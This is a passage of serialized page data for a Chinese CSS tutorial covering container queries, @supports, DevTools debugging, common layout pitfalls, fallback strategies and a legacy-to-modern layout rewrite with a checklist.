*\u002F\n",[331,120853,120854,120856,120858,120860,120862,120864,120866],{"class":333,"line":341},[331,120855,109053],{"class":501},[331,120857,111981],{"class":337},[331,120859,633],{"class":344},[331,120861,348],{"class":337},[331,120863,9292],{"class":344},[331,120865,120818],{"class":616},[331,120867,664],{"class":337},[57,120869,120870,120878],{},[60,120871,120872],{},[63,120873,120874,120876],{},[66,120875,109800],{},[66,120877,109803],{},[79,120879,120880,120892,120909,120922],{},[63,120881,120882,120886],{},[84,120883,120884],{},[22,120885,120818],{},[84,120887,45770,120888,120891],{},[17,120889,120890],{},"内联轴","（水平书写模式下 = 宽度）的 1%",[63,120893,120894,120898],{},[84,120895,120896],{},[22,120897,120821],{},[84,120899,45770,120900,120903,120904,6745,120907],{},[17,120901,120902],{},"块轴","（= 高度）的 1%，需要 ",[22,120905,120906],{},"container-type: size",[22,120908,112141],{},[63,120910,120911,120919],{},[84,120912,120913,1901,120916],{},[22,120914,120915],{},"cqw",[22,120917,120918],{},"cqh",[84,120920,120921],{},"宽度 \u002F 高度的 1%",[63,120923,120924,120930],{},[84,120925,120926,1901,120928],{},[22,120927,120824],{},[22,120929,120827],{},[84,120931,120932],{},"两者中较小 \u002F 较大者的 1%",[11,120934,53522,120935,120937,120938,120940,120941,120943,120944,120947,120948,120950,120951,120953],{},[22,120936,109859],{}," 的关系一句话：",[22,120939,109859],{}," 相对视口，",[22,120942,120818],{}," 相对最近的尺寸容器——",[17,120945,120946],{},"组件内部一律用后者","（第十三章的 ",[22,120949,115120],{}," 适合页面级排版，",[22,120952,120818],{}," 适合组件内）。",[53,120955,120956],{"id":120956},"与媒体查询的分工",[57,120958,120959,120967],{},[60,120960,120961],{},[63,120962,120963,120965],{},[66,120964,25083],{},[66,120966,9794],{},[79,120968,120969,120979,120988,120999,121008],{},[63,120970,120971,120974],{},[84,120972,120973],{},"整页骨架变化（三栏 → 一栏、导航 → 汉堡）",[84,120975,120976,120978],{},[22,120977,114758],{},"：这是页面级事实，只有视口能回答",[63,120980,120981,120984],{},[84,120982,120983],{},"组件在不同槽位里的形态",[84,120985,120986],{},[22,120987,117484],{},[63,120989,120990,120993],{},[84,120991,120992],{},"卡片墙要几列",[84,120994,120995,120998],{},[22,120996,120997],{},"auto-fit + minmax()","（第十一章），能不用查询就不用",[63,121000,121001,121004],{},[84,121002,121003],{},"字号随所在容器缩放",[84,121005,121006],{},[22,121007,120818],{},[63,121009,121010,121013],{},[84,121011,121012],{},"系统偏好（深浅色、减少动效、指针类型）",[84,121014,121015,121017],{},[22,121016,114758],{}," 特性查询（第十三章）",[11,121019,121020],{},"三者可以叠加：外层媒体查询定骨架，内层容器查询定组件形态。",[53,121022,53522,121024,121026],{"id":121023},"与-has-组合能替掉一大类-js",[22,121025,116646],{}," 组合，能替掉一大类 JS",[308,121028,121030],{"className":108720,"code":121029,"language":108722,"meta":314,"style":314},"@container (min-width: 420px) {\n  .list { grid-auto-flow: column; grid-auto-columns: 1fr; }\n  .list:has(> :nth-child(4)) { grid-auto-flow: row; grid-template-columns: repeat(2, 1fr); }\n}\n",[22,121031,121032,121039,121065,121110],{"__ignoreMap":314},[331,121033,121034,121036],{"class":333,"line":334},[331,121035,117484],{"class":616},[331,121037,121038],{"class":337}," (min-width: 420px) {\n",[331,121040,121041,121044,121046,121048,121050,121052,121054,121057,121059,121061,121063],{"class":333,"line":341},[331,121042,121043],{"class":501},"  .list",[331,121045,605],{"class":337},[331,121047,113489],{"class":344},[331,121049,348],{"class":337},[331,121051,112697],{"class":344},[331,121053,620],{"class":337},[331,121055,121056],{"class":344},"grid-auto-columns",[331,121058,348],{"class":337},[331,121060,7993],{"class":344},[331,121062,109909],{"class":616},[331,121064,664],{"class":337},[331,121066,121067,121070,121072,121074,121077,121079,121081,121084,121086,121088,121090,121092,121094,121096,121098,121100,121102,121104,121106,121108],{"class":333,"line":357},[331,121068,121069],{"class":501},"  .list:has",[331,121071,966],{"class":337},[331,121073,42343],{"class":616},[331,121075,121076],{"class":501}," :nth-child",[331,121078,966],{"class":337},[331,121080,15097],{"class":344},[331,121082,121083],{"class":337},")) { ",[331,121085,113489],{"class":344},[331,121087,348],{"class":337},[331,121089,112706],{"class":344},[331,121091,620],{"class":337},[331,121093,113375],{"class":344},[331,121095,348],{"class":337},[331,121097,65629],{"class":344},[331,121099,966],{"class":337},[331,121101,9292],{"class":344},[331,121103,409],{"class":337},[331,121105,7993],{"class":344},[331,121107,109909],{"class":616},[331,121109,111705],{"class":337},[331,121111,121112],{"class":333,"line":371},[331,121113,459],{"class":337},[11,121115,121116],{},"「容器够宽就横排，但项数 ≥4 时改成两列」——这条需求两年前必须写 JS，现在是两条 CSS 规则。",[4748,121118],{"height":114031,"src":121119,"title":121120},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F20b-supports-debug.html","示例 20b：@supports 能力检测、DevTools 四面板与常见坑现场",[53,121122,121124,121126],{"id":121123},"supports测试的是声明不是特性名",[22,121125,116639],{},"：测试的是「声明」，不是「特性名」",[308,121128,121130],{"className":108720,"code":121129,"language":108722,"meta":314,"style":314},"@supports (display: grid) { … }\n@supports (position: sticky) { … }\n@supports (display: grid) and (not (display: subgrid)) { … }\n@supports selector(:has(*)) { … }      \u002F* 选择器支持测试：参数是选择器而不是声明 *\u002F\n",[22,121131,121132,121146,121160,121193],{"__ignoreMap":314},[331,121133,121134,121136,121138,121140,121142,121144],{"class":333,"line":334},[331,121135,116639],{"class":616},[331,121137,1147],{"class":337},[331,121139,20238],{"class":344},[331,121141,348],{"class":337},[331,121143,109659],{"class":344},[331,121145,116588],{"class":337},[331,121147,121148,121150,121152,121154,121156,121158],{"class":333,"line":341},[331,121149,116639],{"class":616},[331,121151,1147],{"class":337},[331,121153,109652],{"class":344},[331,121155,348],{"class":337},[331,121157,79256],{"class":344},[331,121159,116588],{"class":337},[331,121161,121162,121164,121166,121168,121170,121172,121174,121177,121179,121182,121184,121186,121188,121190],{"class":333,"line":357},[331,121163,116639],{"class":616},[331,121165,1147],{"class":337},[331,121167,20238],{"class":344},[331,121169,348],{"class":337},[331,121171,109659],{"class":344},[331,121173,3180],{"class":337},[331,121175,121176],{"class":616},"and",[331,121178,1147],{"class":337},[331,121180,121181],{"class":616},"not",[331,121183,1147],{"class":337},[331,121185,20238],{"class":344},[331,121187,348],{"class":337},[331,121189,113817],{"class":344},[331,121191,121192],{"class":337},")) { … }\n",[331,121194,121195,121197,121200,121202,121204,121206,121209],{"class":333,"line":371},[331,121196,116639],{"class":616},[331,121198,121199],{"class":337}," selector(",[331,121201,116706],{"class":501},[331,121203,966],{"class":337},[331,121205,18020],{"class":497},[331,121207,121208],{"class":337},")) { … }      ",[331,121210,121211],{"class":1003},"\u002F* 选择器支持测试：参数是选择器而不是声明 *\u002F\n",[11,121213,121214],{},"浏览器会去解析括号里的声明块，能接受就命中——所以判断准确率高，不需要维护特性名表。三个边界要知道：",[1773,121216,121217,121223,121230],{},[1662,121218,121219,121220,17306],{},"它只判断「语法是否被接受」，",[17,121221,121222],{},"不判断实现是否有 bug 或只是部分支持",[1662,121224,121225,121226,121229],{},"判断不了前缀差异（老 Safari 的 ",[22,121227,121228],{},"-webkit-"," 写法要并列写两份测试）；",[1662,121231,121232,121233,161],{},"不支持时整块规则被丢弃，因此",[17,121234,121235],{},"默认（基线）样式必须自身成立",[11,121237,121238],{},"三种写法模式：",[308,121240,121242],{"className":108720,"code":121241,"language":108722,"meta":314,"style":314},"\u002F* A. 基线 + 增强（推荐） *\u002F\n.bar { display: flex; gap: 8px; }\n@supports (container-type: inline-size) { .zone { container-type: inline-size; } }\n\n\u002F* B. 新方案 + 显式降级 *\u002F\n.grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); }\n@supports not (display: grid) { .grid > * { display: inline-block; width: 48%; } }\n",[22,121243,121244,121249,121273,121294,121298,121303,121347],{"__ignoreMap":314},[331,121245,121246],{"class":333,"line":334},[331,121247,121248],{"class":1003},"\u002F* A. 基线 + 增强（推荐） *\u002F\n",[331,121250,121251,121253,121255,121257,121259,121261,121263,121265,121267,121269,121271],{"class":333,"line":341},[331,121252,116113],{"class":501},[331,121254,605],{"class":337},[331,121256,20238],{"class":344},[331,121258,348],{"class":337},[331,121260,109656],{"class":344},[331,121262,620],{"class":337},[331,121264,110497],{"class":344},[331,121266,348],{"class":337},[331,121268,39054],{"class":344},[331,121270,617],{"class":616},[331,121272,664],{"class":337},[331,121274,121275,121277,121279,121281,121284,121287,121289,121291],{"class":333,"line":357},[331,121276,116639],{"class":616},[331,121278,1147],{"class":337},[331,121280,120675],{"class":344},[331,121282,121283],{"class":337},": inline-size) { ",[331,121285,121286],{"class":501},".zone",[331,121288,605],{"class":337},[331,121290,120675],{"class":344},[331,121292,121293],{"class":337},": inline-size; } }\n",[331,121295,121296],{"class":333,"line":371},[331,121297,998],{"emptyLinePlaceholder":997},[331,121299,121300],{"class":333,"line":384},[331,121301,121302],{"class":1003},"\u002F* B. 新方案 + 显式降级 *\u002F\n",[331,121304,121305,121308,121310,121312,121314,121316,121318,121320,121322,121324,121326,121328,121330,121332,121334,121337,121339,121341,121343,121345],{"class":333,"line":397},[331,121306,121307],{"class":501},".grid",[331,121309,605],{"class":337},[331,121311,20238],{"class":344},[331,121313,348],{"class":337},[331,121315,109659],{"class":344},[331,121317,620],{"class":337},[331,121319,113375],{"class":344},[331,121321,348],{"class":337},[331,121323,65629],{"class":344},[331,121325,966],{"class":337},[331,121327,113688],{"class":344},[331,121329,409],{"class":337},[331,121331,113730],{"class":344},[331,121333,966],{"class":337},[331,121335,121336],{"class":344},"150",[331,121338,617],{"class":616},[331,121340,409],{"class":337},[331,121342,7993],{"class":344},[331,121344,109909],{"class":616},[331,121346,117150],{"class":337},[331,121348,121349,121351,121354,121356,121358,121360,121362,121364,121366,121368,121370,121372,121374,121376,121378,121380,121382,121384,121386,121388],{"class":333,"line":418},[331,121350,116639],{"class":616},[331,121352,121353],{"class":616}," not",[331,121355,1147],{"class":337},[331,121357,20238],{"class":344},[331,121359,348],{"class":337},[331,121361,109659],{"class":344},[331,121363,31033],{"class":337},[331,121365,121307],{"class":501},[331,121367,56464],{"class":616},[331,121369,1045],{"class":497},[331,121371,605],{"class":337},[331,121373,20238],{"class":344},[331,121375,348],{"class":337},[331,121377,112147],{"class":344},[331,121379,620],{"class":337},[331,121381,608],{"class":344},[331,121383,348],{"class":337},[331,121385,113568],{"class":344},[331,121387,715],{"class":616},[331,121389,114888],{"class":337},[53,121391,121393],{"id":121392},"devtools-四面板各自回答什么问题","DevTools 四面板：各自回答什么问题",[57,121395,121396,121409],{},[60,121397,121398],{},[63,121399,121400,121403,121406],{},[66,121401,121402],{},"面板",[66,121404,121405],{},"回答",[66,121407,121408],{},"最有用的三个动作",[79,121410,121411,121427,121446,121459],{},[63,121412,121413,121418,121421],{},[84,121414,121415],{},[17,121416,121417],{},"Styles",[84,121419,121420],{},"「哪条规则胜出、为什么」",[84,121422,121423,121424,121426],{},"逐条取消勾选看变化；看被划掉的声明与旁边的警告图标；展开 ",[22,121425,109406],{},"、层名（第十六章）与优先级数字",[63,121428,121429,121433,121436],{},[84,121430,121431],{},[17,121432,109763],{},[84,121434,121435],{},"「最终计算值是多少」",[84,121437,121438,121439,121442,121443,121445],{},"看盒子图（margin\u002Fborder\u002Fpadding\u002Fcontent 各层实测像素，第六章）；",[22,121440,121441],{},"Ctrl+F"," 搜属性；展开 ",[22,121444,110146],{}," 看变量解析结果",[63,121447,121448,121453,121456],{},[84,121449,121450],{},[17,121451,121452],{},"Layout",[84,121454,121455],{},"「几何问题出在哪」",[84,121457,121458],{},"开启 sticky \u002F scroll-overflow \u002F Grid overlay，直接看轨道尺寸与被吸住的元素",[63,121460,121461,121466,121469],{},[84,121462,121463],{},[17,121464,121465],{},"Rendering",[84,121467,121468],{},"「性能与状态」",[84,121470,121471,121474,121475,5160,121478],{},[22,121472,121473],{},"Paint flashing","（绿闪=重绘）、Layers（合成层）、模拟 ",[22,121476,121477],{},"prefers-reduced-motion",[22,121479,121480],{},"prefers-color-scheme",[11,121482,121483,121484,121487,121488,655,121490,655,121492,121494],{},"三个不装插件就能做的动作：Elements 面板右键元素 → ",[17,121485,121486],{},"State…"," 强制 ",[22,121489,109406],{},[22,121491,109409],{},[22,121493,70534],{},"；Styles 面板右上 ⋮ → Show all user-agent styles 看默认样式表；Network 面板禁用缓存 + 用无痕窗口排除扩展干扰。",[53,121496,121497],{"id":121497},"六个高频坑的复现与修法",[57,121499,121500,121512],{},[60,121501,121502],{},[63,121503,121504,121506,121509],{},[66,121505,92136],{},[66,121507,121508],{},"根因",[66,121510,121511],{},"修法",[79,121513,121514,121537,121556,121579,121595,121606],{},[63,121515,121516,121520,121523],{},[84,121517,121518,113962],{},[22,121519,113961],{},[84,121521,121522],{},"父级没有确定高度",[84,121524,121525,121526,121528,121529,121531,121532,655,121534,121536],{},"给父显式高度；或父用 Grid\u002FFlex 靠 ",[22,121527,112759],{},"；或整条链改用 ",[22,121530,748],{},"；或用 ",[22,121533,114999],{},[22,121535,109871],{}," 表达「占满」",[63,121538,121539,121542,121550],{},[84,121540,121541],{},"内容撑破容器",[84,121543,121544,121545,5664,121547,121549],{},"Flex 子项 ",[22,121546,110377],{},[22,121548,113078],{},"（第十章）",[84,121551,121552,4809,121554],{},[22,121553,113198],{},[22,121555,111050],{},[63,121557,121558,121561,121568],{},[84,121559,121560],{},"意外的横向滚动条",[84,121562,121563,121564,121567],{},"负 margin、",[22,121565,121566],{},"width: 100vw","（含滚动条宽度）、未换行长串、跑到外面的绝对定位",[84,121569,121570,121571,121574,121575,121578],{},"Console 里过滤 ",[22,121572,121573],{},"el.scrollWidth > el.clientWidth"," 定位元凶；",[22,121576,121577],{},"scrollbar-gutter: stable"," 防弹层抖动",[63,121580,121581,121584,121587],{},[84,121582,121583],{},"margin 跑到父元素上",[84,121585,121586],{},"塌陷穿透（第六章）",[84,121588,121589,121590,121592,121593],{},"父加 ",[22,121591,112606],{},"，或改用 ",[22,121594,110497],{},[63,121596,121597,121600,121603],{},[84,121598,121599],{},"加了样式没变化",[84,121601,121602],{},"选择器没命中，或被更高权重\u002F更晚层覆盖（第四、十六章）",[84,121604,121605],{},"Styles 面板看有没有列出这条、被划掉的是哪条",[63,121607,121608,121611,121628],{},[84,121609,121610],{},"只在真机上不对",[84,121612,121613,121614,655,121616,5160,121619,121621,121622,655,121625,121627],{},"视口单位（",[22,121615,109871],{},[22,121617,121618],{},"dvh",[22,121620,109862],{},"）、安全区、",[22,121623,121624],{},"hover",[22,121626,736],{}," 判定",[84,121629,121630],{},"第十三章 + 第五章的相关条目",[11,121632,121633,121634,7023],{},"一行排查用的临时样式（只写在 DevTools 里，",[17,121635,121636],{},"不要提交",[308,121638,121640],{"className":108720,"code":121639,"language":108722,"meta":314,"style":314},"* { outline: 1px dashed rgba(255,0,0,.3); }   \u002F* 谁比想象中宽\u002F高，一眼看出 *\u002F\nimg { background: #ff0; }                      \u002F* 看图片实际渲染尺寸 *\u002F\n[style] { border: 2px solid red; }             \u002F* 揪出内联样式 *\u002F\n",[22,121641,121642,121683,121702],{"__ignoreMap":314},[331,121643,121644,121646,121648,121650,121652,121654,121656,121659,121661,121663,121665,121667,121669,121671,121673,121675,121678,121680],{"class":333,"line":334},[331,121645,18020],{"class":497},[331,121647,605],{"class":337},[331,121649,111913],{"class":344},[331,121651,348],{"class":337},[331,121653,7993],{"class":344},[331,121655,617],{"class":616},[331,121657,121658],{"class":344}," dashed",[331,121660,111998],{"class":344},[331,121662,966],{"class":337},[331,121664,111487],{"class":344},[331,121666,111490],{"class":337},[331,121668,628],{"class":344},[331,121670,111490],{"class":337},[331,121672,628],{"class":344},[331,121674,111490],{"class":337},[331,121676,121677],{"class":344},".3",[331,121679,115759],{"class":337},[331,121681,121682],{"class":1003},"\u002F* 谁比想象中宽\u002F高，一眼看出 *\u002F\n",[331,121684,121685,121687,121689,121691,121693,121696,121699],{"class":333,"line":341},[331,121686,18812],{"class":497},[331,121688,605],{"class":337},[331,121690,35025],{"class":344},[331,121692,348],{"class":337},[331,121694,121695],{"class":344},"#ff0",[331,121697,121698],{"class":337},"; }                      ",[331,121700,121701],{"class":1003},"\u002F* 看图片实际渲染尺寸 *\u002F\n",[331,121703,121704,121706,121708,121710,121712,121714,121716,121718,121720,121723,121725],{"class":333,"line":357},[331,121705,2487],{"class":337},[331,121707,595],{"class":501},[331,121709,110191],{"class":337},[331,121711,24063],{"class":344},[331,121713,348],{"class":337},[331,121715,9292],{"class":344},[331,121717,617],{"class":616},[331,121719,24072],{"class":344},[331,121721,121722],{"class":344}," red",[331,121724,110545],{"class":337},[331,121726,121727],{"class":1003},"\u002F* 揪出内联样式 *\u002F\n",[53,121729,121730],{"id":121730},"浏览器基线与降级策略汇总",[11,121732,121733],{},"本教程用到的较新能力，按「不支持会怎样」分类（版本号请以 caniuse 当前数据为准，这里给的是量级判断）：",[57,121735,121736,121751],{},[60,121737,121738],{},[63,121739,121740,121743,121746],{},[66,121741,121742],{},"能力",[66,121744,121745],{},"不支持时的表现",[66,121747,121748,121749],{},"要不要包 ",[22,121750,116639],{},[79,121752,121753,121778,121791,121803,121815,121829],{},[63,121754,121755,121772,121775],{},[84,121756,121757,272,121759,655,121761,272,121763,121765,121766,272,121768,272,121770],{},[22,121758,116646],{},[22,121760,109546],{},[22,121762,109542],{},[22,121764,108685],{},"、原生嵌套、",[22,121767,110497],{},[22,121769,114999],{},[22,121771,115120],{},[84,121773,121774],{},"整条规则被忽略，布局退化为基线形态",[84,121776,121777],{},"一般不需要，写清基线样式即可；追求极端兼容时包",[63,121779,121780,121785,121788],{},[84,121781,121782,121783],{},"容器查询与 ",[22,121784,120818],{},[84,121786,121787],{},"组件停在「窄容器」默认形态",[84,121789,121790],{},"建议包，避免中间态视觉",[63,121792,121793,121797,121800],{},[84,121794,121795],{},[22,121796,113817],{},[84,121798,121799],{},"卡片行不对齐，其他正常",[84,121801,121802],{},"建议包",[63,121804,121805,121809,121812],{},[84,121806,121807],{},[22,121808,115774],{},[84,121810,121811],{},"变量过渡退化成跳变",[84,121813,121814],{},"不需要",[63,121816,121817,121820,121823],{},[84,121818,121819],{},"滚动驱动动画",[84,121821,121822],{},"进度条停在首\u002F末帧",[84,121824,121825,121828],{},[17,121826,121827],{},"必须包","，且要保证静态形态可读",[63,121830,121831,121835,121838],{},[84,121832,121833],{},[22,121834,114405],{},[84,121836,121837],{},"半透明面板糊在一起",[84,121839,121840],{},"建议包，并给一个不透明的回退底色",[48,121842,121844],{"id":121843},"二十一综合实战把一团-div-变成现代布局","二十一、综合实战：把一团 div 变成现代布局",[11,121846,121847],{},"前面二十章的东西在真实项目里是同时发生的。这一章把一份「能跑但处处是隐患」的首页改写成现代写法，逐条对照。",[53,121849,121851],{"id":121850},"改造前八类典型问题","改造前：八类典型问题",[4748,121853],{"height":6589,"src":121854,"title":121855},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F21-project-before.html","示例 21：改造前 —— 固定 960px、float 两列、颜色写死",[11,121857,121858],{},"问题清单（每条都对应前面某一章）：",[1659,121860,121861,121873,121892,121900,121916,121931,121946,121959],{},[1662,121862,121863,4839,121866,121869,121870,161],{},[17,121864,121865],{},"固定像素宽度 + 居中",[22,121867,121868],{},"width: 960px; margin: 0 auto","）：窄屏出横向滚动条，宽屏两侧空白 → 第十三章 ",[22,121871,121872],{},"min(100% - 2rem, 68rem)",[1662,121874,121875,121878,121879,121882,121883,121886,121887,121889,121890,161],{},[17,121876,121877],{},"float 两列","：需要空 ",[22,121880,121881],{},"div.clearfix","、需要 ",[22,121884,121885],{},".last"," 抹掉末位边距、需要 ",[22,121888,110487],{}," 修高度塌陷 → 第十一章 Grid 命名区域 + ",[22,121891,110497],{},[1662,121893,121894,121897,121898,161],{},[17,121895,121896],{},"卡片列数靠复制类名","（两列一套、单列一套）：改需求要两边同动 → 第十一章 ",[22,121899,120997],{},[1662,121901,121902,4839,121905,121908,121909,121911,121912,655,121914,161],{},[17,121903,121904],{},"颜色与字号硬编码且重复",[22,121906,121907],{},"#0066cc"," 出现 5 次、全部 ",[22,121910,617],{},"）：暗色主题没有可能 → 第十四章令牌 + 第十三章 ",[22,121913,109814],{},[22,121915,115120],{},[1662,121917,121918,4839,121921,121924,121925,121927,121928,121930],{},[17,121919,121920],{},"靠堆权重覆盖",[22,121922,121923],{},".container .content .main .item .t","）：任何定制只能 ",[22,121926,24107],{}," → 第四章降权重 + 第十五章 ",[22,121929,109546],{}," + 第十四章组件变量。",[1662,121932,121933,121939,121940,121943,121944,161],{},[17,121934,121935,121938],{},[22,121936,121937],{},"padding-top: 70px"," 手算垂直居中","：字号一改就歪 → 第十章 ",[22,121941,121942],{},"align-items: center"," \u002F 第十一章 ",[22,121945,113884],{},[1662,121947,121948,121954,121955,4809,121957,161],{},[17,121949,121950,121951,121953],{},"图片位靠 ",[22,121952,99201],{}," 写死","：真图进来要么变形要么留白 → 第十三章 ",[22,121956,114999],{},[22,121958,111316],{},[1662,121960,121961,121968,121969,121971],{},[17,121962,20444,121963,121965,121966],{},[22,121964,109406],{}," 没有 ",[22,121967,109412],{},"：键盘用户看不见焦点，触屏点了不还原 → 第八\u002F十五章焦点样式 + 第十三章 ",[22,121970,114983],{}," 判定。",[53,121973,121975],{"id":121974},"改造后同一份内容一半代码","改造后：同一份内容，一半代码",[4748,121977],{"height":114031,"src":121978,"title":121979},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F21b-project-after.html","示例 21：改造后 —— 令牌主题 + Grid\u002FFlex + 容器查询 + 可降级动效",[11,121981,121982],{},"改造后的写法逐条对应：",[1659,121984,121985,122010,122019,122038,122054,122067,122083,122101],{},[1662,121986,121987,322,121990,272,121992,272,121994,272,121996,272,121998,272,122000,122003,122004,122006,122007,122009],{},[17,121988,121989],{},"令牌层",[22,121991,115793],{},[22,121993,115595],{},[22,121995,115509],{},[22,121997,115529],{},[22,121999,115518],{},[22,122001,122002],{},"--z-header"," 一次声明；",[22,122005,115917],{}," 只替换令牌，所有组件规则零改动，并配 ",[22,122008,115818],{}," 让浏览器控件一起换（第十四章）。",[1662,122011,122012,322,122015,122018],{},[17,122013,122014],{},"容器层",[22,122016,122017],{},".wrap { width: min(100% - 2 * var(--space-3), 68rem); margin-inline: auto; }","——无需断点的居中容器（第十三章）。",[1662,122020,122021,122024,122025,4809,122027,122030,122031,122034,122035,122037],{},[17,122022,122023],{},"骨架层","：页头 ",[22,122026,114163],{},[22,122028,122029],{},"z-index: var(--z-header)","；主体 Grid 单列，",[22,122032,122033],{},"@media (min-width: 52rem)"," 变两列（",[22,122036,113195],{}," 防溢出，第十一\u002F十二章）。",[1662,122039,122040,122043,122044,122047,122048,4809,122051,122053],{},[17,122041,122042],{},"组件层","：卡片一份样式，",[22,122045,122046],{},"repeat(auto-fit, minmax(min(220px, 100%), 1fr))"," 自己算列数；内部 ",[22,122049,122050],{},"flex-direction: column",[22,122052,113350],{}," 让页脚对齐（第十\u002F十一章）。",[1662,122055,122056,122059,122060,18878,122063,122066],{},[17,122057,122058],{},"槽位自适应","：侧栏列表声明 ",[22,122061,122062],{},"container-type: inline-size",[22,122064,122065],{},"@container (min-width: 22rem)"," 时才横排——同一个组件放进宽槽会自动变横排（第二十章）。",[1662,122068,122069,322,122072,122074,122075,122077,122078,18878,122080,122082],{},[17,122070,122071],{},"动效",[22,122073,121624],{}," 只动 ",[22,122076,8790],{}," 与伪元素 ",[22,122079,109666],{},[22,122081,121477],{}," 下整组过渡被关闭（第十八章）。",[1662,122084,122085,322,122087,122089,122090,122093,122094,272,122097,122100],{},[17,122086,36341],{},[22,122088,109412],{}," 描边、",[22,122091,122092],{},"aria-current=\"page\""," 标当前页、装饰色块加 ",[22,122095,122096],{},"aria-hidden",[22,122098,122099],{},"sr-only"," 补列表说明（第十五章 + HTML 教程第十七章）。",[1662,122102,122103,322,122106,122109],{},[17,122104,122105],{},"API 化的组件",[22,122107,122108],{},".badge { --badge-bg: …; --badge-fg: …; }","，使用方给祖先设变量就能定制，不需要修饰类（第十四章）。",[53,122111,122113],{"id":122112},"对照检查清单新项目起手就用它","对照检查清单（新项目起手就用它）",[1773,122115,122118,122130,122136,122148,122157,122166,122172,122181,122190,122199,122215,122224],{"className":122116},[122117],"contains-task-list",[1662,122119,122122,122125,122126,122129],{"className":122120},[122121],"task-list-item",[19733,122123],{"disabled":997,"type":122124},"checkbox"," 是否有一条 ",[22,122127,122128],{},"* { box-sizing: border-box; }","（第六章）",[1662,122131,122133,122135],{"className":122132},[122121],[19733,122134],{"disabled":997,"type":122124}," 颜色\u002F间距\u002F圆角\u002F层级是否只出现在令牌里（第十四章）",[1662,122137,122139,122141,122142,122144,122145,122147],{"className":122138},[122121],[19733,122140],{"disabled":997,"type":122124}," 是否有硬编码 ",[22,122143,617],{}," 字号、是否给正文留了 ",[22,122146,109814],{}," 缩放余地（第七、十三章）",[1662,122149,122151,122153,122154,122156],{"className":122150},[122121],[19733,122152],{"disabled":997,"type":122124}," 布局是否用 Grid 定骨架、Flex 定一维，",[22,122155,40110],{}," 只留在图文环绕（第九~十一章）",[1662,122158,122160,122162,122163,122165],{"className":122159},[122121],[19733,122161],{"disabled":997,"type":122124}," 卡片墙是否用 ",[22,122164,120997],{}," 而不是复制列数类（第十一章）",[1662,122167,122169,122171],{"className":122168},[122121],[19733,122170],{"disabled":997,"type":122124}," 组件是否用容器查询而不是猜视口宽度（第二十章）",[1662,122173,122175,122177,122178,122180],{"className":122174},[122121],[19733,122176],{"disabled":997,"type":122124}," 每个可交互元素是否有 ",[22,122179,109412],{}," 样式，对比度是否达标（第八章）",[1662,122182,122184,122186,122187,122189],{"className":122183},[122121],[19733,122185],{"disabled":997,"type":122124}," 动效是否有 ",[22,122188,121477],{}," 降级（第十三、十八章）",[1662,122191,122193,122195,122196,122198],{"className":122192},[122121],[19733,122194],{"disabled":997,"type":122124}," 新特性是否包了 ",[22,122197,116639],{},"，并确认不支持时的形态可接受（第二十章）",[1662,122200,122202,122204,122205,655,122207,122209,122210,4809,122212,122214],{"className":122201},[122121],[19733,122203],{"disabled":997,"type":122124}," 图片是否有 ",[22,122206,608],{},[22,122208,99201],{},"（防布局抖动）、",[22,122211,114999],{},[22,122213,111316],{}," 是否配合（第十三章 + HTML 教程第六章）",[1662,122216,122218,122220,122221,122223],{"className":122217},[122121],[19733,122219],{"disabled":997,"type":122124}," 是否存在靠 ",[22,122222,24107],{}," 或超长选择器维持的覆盖（第四、十五章）",[1662,122225,122227,122229],{"className":122226},[122121],[19733,122228],{"disabled":997,"type":122124}," 层叠顺序是否清晰：未分层样式有没有意外压过组件库（第十二、十六章）",[53,122231,122233],{"id":122232},"结语css-的心智模型只有三句话","结语：CSS 的心智模型只有三句话",[1659,122235,122236,122245,122251],{},[1662,122237,122238,122241,122242,122244],{},[17,122239,122240],{},"谁生效"," = 层叠（权重、书写顺序、",[22,122243,24107],{},"、层、上下文）——第四、十二、十六章；",[1662,122246,122247,122250],{},[17,122248,122249],{},"生效成什么样"," = 盒模型 + 布局算法（普通流、Flex、Grid、定位）——第六、九~十二章；",[1662,122252,122253,122256,122257,122259,122260,122262],{},[17,122254,122255],{},"能不能被所有人用"," = 排版与可访问性 + 渐进增强（",[22,122258,109814],{},"、焦点、降级、",[22,122261,116639],{},"）——第七、十三、二十章。",[11,122264,122265],{},"剩下的一切——颜色、渐变、阴影、动画——都是这三条之上的表现层。把这三句话记住，遇到「为什么不是我想的样子」时，先问它属于哪一句，答案通常就在对应那一章里。",[595,122267,122268],{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s6RL2, html code.shiki .s6RL2{--shiki-default:#FDAEB7;--shiki-default-font-style:italic}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"title":314,"searchDepth":341,"depth":341,"links":122270},[122271,122275,122281,122288,122294,122299,122309,122319,122330,122341,122353,122365,122376,122386,122397,122409,122419,122430,122446,122458,122474],{"id":108421,"depth":341,"text":108422,"children":122272},[122273,122274],{"id":108432,"depth":357,"text":108433},{"id":108660,"depth":357,"text":108660},{"id":108712,"depth":341,"text":108713,"children":122276},[122277,122278,122279,122280],{"id":108716,"depth":357,"text":108717},{"id":108799,"depth":357,"text":108799},{"id":108864,"depth":357,"text":108865},{"id":108929,"depth":357,"text":108929},{"id":109028,"depth":341,"text":109029,"children":122282},[122283,122284,122285,122286,122287],{"id":109032,"depth":357,"text":109033},{"id":109115,"depth":357,"text":109116},{"id":109208,"depth":357,"text":109208},{"id":109309,"depth":357,"text":109309},{"id":109401,"depth":357,"text":109401},{"id":109441,"depth":341,"text":109442,"children":122289},[122290,122291,122292,122293],{"id":109445,"depth":357,"text":109446},{"id":109559,"depth":357,"text":109560},{"id":109586,